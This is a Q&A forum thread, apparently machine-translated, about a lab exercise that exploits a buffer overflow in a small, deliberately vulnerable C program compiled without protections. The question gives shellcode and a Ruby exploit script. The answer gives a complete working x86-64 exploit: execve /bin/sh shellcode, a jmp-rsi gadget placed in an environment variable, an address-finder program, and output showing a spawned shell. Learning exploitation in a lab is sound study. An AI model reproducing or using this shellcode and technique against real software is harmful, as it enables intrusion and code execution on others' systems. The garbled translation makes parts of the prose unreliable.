2017-07-08 48 views
1

緩衝區溢出練習,我已經做關於一個C程序的緩衝區超負荷的練習,這個問題的目標是獲得root shell一旦我插入一個的shellcode到程序中。這是我到現在爲止:使用的shellcode

STEP 1 .- Firstable let's看到名爲file.c文件我的C代碼:

[email protected]:~# cat ./file.c 
#include <stdio.h> 
#include <string.h> 

void premio() 
{ 
    printf("I have altered the programs flow\n"); 
} 

int main(int argc, char *argv[]) 
{ 
    char buffer[100]; 
    if (argc != 2) 
    { 
     printf("Use: %s argument\n",argv[0]); 
     return -1; 
    } 
    strcpy(buffer,argv[1]); 
    printf ("%s\n",buffer); 
    return 0; 
} 

步驟2.我已經compilled它並停用ASLR,以避免收到隨機地址如下:

gcc -fno-stack-protector -z execstack buffer.c -o buffer 

echo 0 > /proc/sys/kernel/randomize_va_space 

STEP 3 .- Let's檢查它是如何工作的:

[email protected]:~# ./file string 
string 
[email protected]:~# ./file `ruby -e 'print "a"*99'` 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
[email protected]:~# ./file `ruby -e 'print "a"*100'` 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
[email protected]:~# ./file `ruby -e 'print "a"*125'` 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
Segmentation fault (this means we have overwritten the EIP register) 

[email protected]:~# gdb ./file 
(gdb) run `ruby -e 'print "a"*125'` 
Starting program: /root/file `ruby -e 'print "a"*125'` 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 

Program received signal SIGSEGV, Segmentation fault. 
0x0000006161616161 in ??() (this is the value of EIP beacuse of the letter a) 
(gdb) 

STEP 4 .-我們將使用找到EIP的位置值:

[email protected]:~# ./pattern_create.rb -l 125 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae 
[email protected]:~# gdb ./file 
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae" 
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae" 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae 

Program received signal SIGSEGV, Segmentation fault. 
0x0000006541306541 in ??() 

[email protected]:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125 
[*] Exact match at offset 120 

In this case we have found that if we write 120 characters the next 5 will be EIP 

STEP 5.- - 現在我們將創建一個腳本shellcode的覆蓋緩衝區,shellcode的是摘自:

\x31 \xc0   xor eax, eax 
\x50    push eax 
//PUSH /bin 
\x68\x2f\x2f\x73\x68  push 0x68732f2f 
//PUSH //sh 
\x68\x2f\x62\x69\x6e  push 0x6e69622f 
\x89\xe3   mov ebx, esp 
\x50    push eax 
\x53    push ebx 
\x89\xe1   mov ecx, esp 
\xb0\x0b   mov al, 0xb 
\xcd\x80    int 0x80 

[email protected]:~# cat ./exploit.rb 
eip = "bbbbb" 
aes = "a"*97 
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes 

print (shell + aes + eip) #125 bytes total 

STEP 6 .-現在,我們必須知道哪些地址必須跳轉到開始執行我們的shell,但是在這裏我卡住了,因爲我不知道該怎麼做。

(gdb) set disassembly-flavor intel 
(gdb) disass main 
Dump of assembler code for function main: 
    0x0000000000000753 <+0>:  push rbp 
    0x0000000000000754 <+1>:  mov rbp,rsp 
    0x0000000000000757 <+4>:  add rsp,0xffffffffffffff80 
    0x000000000000075b <+8>:  mov DWORD PTR [rbp-0x74],edi 
    0x000000000000075e <+11>: mov QWORD PTR [rbp-0x80],rsi 
    0x0000000000000762 <+15>: cmp DWORD PTR [rbp-0x74],0x2 
    0x0000000000000766 <+19>: je  0x78a <main+55> 
    0x0000000000000768 <+21>: mov rax,QWORD PTR [rbp-0x80] 
    0x000000000000076c <+25>: mov rax,QWORD PTR [rax] 
    0x000000000000076f <+28>: mov rsi,rax 
    0x0000000000000772 <+31>: lea rdi,[rip+0xf1]  # 0x86a 
    0x0000000000000779 <+38>: mov eax,0x0 
    0x000000000000077e <+43>: call 0x5f0 <[email protected]> 
    0x0000000000000783 <+48>: mov eax,0xffffffff 
    0x0000000000000788 <+53>: jmp 0x7b5 <main+98> 
    0x000000000000078a <+55>: mov rax,QWORD PTR [rbp-0x80] 
    0x000000000000078e <+59>: add rax,0x8 
    0x0000000000000792 <+63>: mov rdx,QWORD PTR [rax] 
    0x0000000000000795 <+66>: lea rax,[rbp-0x70] 
    0x0000000000000799 <+70>: mov rsi,rdx 
    0x000000000000079c <+73>: mov rdi,rax 
    0x000000000000079f <+76>: call 0x5d0 <[email protected]> 
    0x00000000000007a4 <+81>: lea rax,[rbp-0x70] 
    0x00000000000007a8 <+85>: mov rdi,rax 
    0x00000000000007ab <+88>: call 0x5e0 <[email protected]> 
    0x00000000000007b0 <+93>: mov eax,0x0 
    0x00000000000007b5 <+98>: leave 
    0x00000000000007b6 <+99>: ret 
End of assembler dump. 

STEP 7.-這裏是supouse找到地址,把它放入利用腳本改變EIP的價值,但我不`噸知道做什麼都不是,對不起

(gdb) run `ruby exploit.rb` 
Starting program: /root/file `ruby exploit.rb` 
1▒Ph//shh/bin▒▒PS▒▒ 
        ̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb 

Program received signal SIGSEGV, Segmentation fault. 
0x0000006262626262 in ??() 
(gdb) x/40x $esp 
0xffffffffffffe590:  Cannot access memory at address 0xffffffffffffe590 
(gdb) x/40x $rsp 
0x7fffffffe590: 0x00600000  0x00000000  0xffffe668  0x00007fff 
0x7fffffffe5a0: 0xf7b9c168  0x00000002  0x55554753  0x00005555 
0x7fffffffe5b0: 0x00000000  0x00000000  0xb3c231f4  0x54cfb08e 
0x7fffffffe5c0: 0x55554610  0x00005555  0xffffe660  0x00007fff 
0x7fffffffe5d0: 0x00000000  0x00000000  0x00000000  0x00000000 
0x7fffffffe5e0: 0xf76231f4  0x019ae5db  0x589031f4  0x019af56f 
0x7fffffffe5f0: 0x00000000  0x00000000  0x00000000  0x00000000 
0x7fffffffe600: 0x00000000  0x00000000  0xffffe680  0x00007fff 
0x7fffffffe610: 0xf7ffe168  0x00007fff  0xf7de875b  0x00007fff 
0x7fffffffe620: 0x00000000  0x00000000  0x00000000  0x00000000 
(gdb) 

在最後它必須給我一個根殼

幾乎到結束,在步驟6和7 我真的堅持,你能幫助我嗎?

感謝先進

問候

回答

1

在C語言中的空字符是爭論的結束。所以,你的有效載荷中不能有空字符(第一個參數)。總之,你必須找到一種方法來跳轉到沒有空字符的shellcode。

解決問題的方法可能是使用環境變量。例如。保存跳轉(jmp rsi)

爲什麼RSI註冊?

由於偏移量爲0

[RSP] --> offset 120 - size ~80 
[RSI] --> offset 0 - size ~203 

獲取的操作碼,並保持在一個環境變量。

[[email protected] /tmp]$ rasm2 "jmp rsi" 
ffe6 
[[email protected] /tmp]$ export JMP_RSI=`python -c 'print "\xff\xe6\x00"'` 

獲取環境變量

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char *argv[]){ 
     char *ptr; 
     if (argc < 3){ 
       printf("Usage: %s <environment var> <target program name>\n", argv[0]); 
       exit(0); 
     } 
    ptr = getenv(argv[1]); 
    ptr += (strlen(argv[0]) -strlen(argv[2]))*2; 
    printf("%p\n",ptr); 
} 

編譯的地址,得到的地址

[[email protected] /tmp]$ gcc getenvaddr.c -o getenvaddr 
[[email protected] /tmp]$ ./getenvaddr JMP_RSI ./buffer 
0x7fffffffef3d 

您必須添加8到這個地址,如果你是在調試器。

使得利用

的Shellcode +填充+ EIP(環境變量地址) - > RSI + 填充+ JMP RSI

[[email protected] /tmp]$ python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"\x90"*(120-30)+"\x3d\xef\xff\xff\xff\x7f"' > input 
[[email protected] /tmp]$ ./buffer `cat input` 
H1�H�//bin/shH�SH��PWH���;������������������������������������������������������������������������������������������=���� 
$ id 
uid=1000(manu) gid=1000(manu) groups=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),122(vboxusers),124(wireshark)